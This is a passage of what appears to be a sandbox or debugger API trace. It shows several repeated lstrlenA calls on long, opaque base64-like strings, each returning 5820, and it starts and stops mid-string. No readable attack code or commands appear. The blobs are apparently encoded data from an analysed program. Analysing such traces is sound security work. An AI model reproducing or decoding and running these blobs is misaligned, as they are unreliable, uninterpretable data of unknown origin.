4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.642] lstrlenA (lpString="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") returned 5820
	[0084.642] lstrlenA (lpString="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") returned 5820
	[0084.642] lstrlenA (lpString="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